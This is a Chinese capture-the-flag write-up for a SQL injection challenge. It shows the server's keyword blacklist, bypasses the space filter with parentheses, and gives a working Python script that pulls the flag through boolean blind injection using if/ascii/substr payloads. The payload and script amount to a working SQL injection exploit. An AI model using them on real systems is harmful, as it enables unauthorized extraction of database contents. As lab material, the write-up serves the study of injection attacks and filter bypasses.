
题目直接给出表明,段名,接下来直接跑数据就行,但是加引号之后发现并不会回显错误,而是bool(false),语句正确则会返回正常内容
1==>Hello, glzjin wants a girlfriend.2==>Do you want to be my girlfriend?3==>Error Occured When Fetch Result.
那么可以依靠布尔盲注来跑出来flag。
经过一番测试,发现题目过滤了空格和一些特殊字符、关键字。
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
空格用括号可以绕过,至于其他的反正也用不到。
直接去跑内容:
import requestsimport timeurl='http://64957f16-c2a5-4c5c-9bcb-8b751307ee10.node3.buuoj.cn/index.php'pos=1flag=''while True:for i in range(33,127):payload = f"(if((ascii((substr((select(flag)from(flag)),{pos},1)))={i}),1,3))"r=requests.post(url,data={'id':payload})if 'girlfriend' in r.text:flag+=chr(i).lower()print(flag)pos+=1break
得到flag。
值得一提的点是刚开始我没有使用ascii,导致要判断的字符被过滤掉了,已知卡在-这里,使用了ascii之后即可解决。
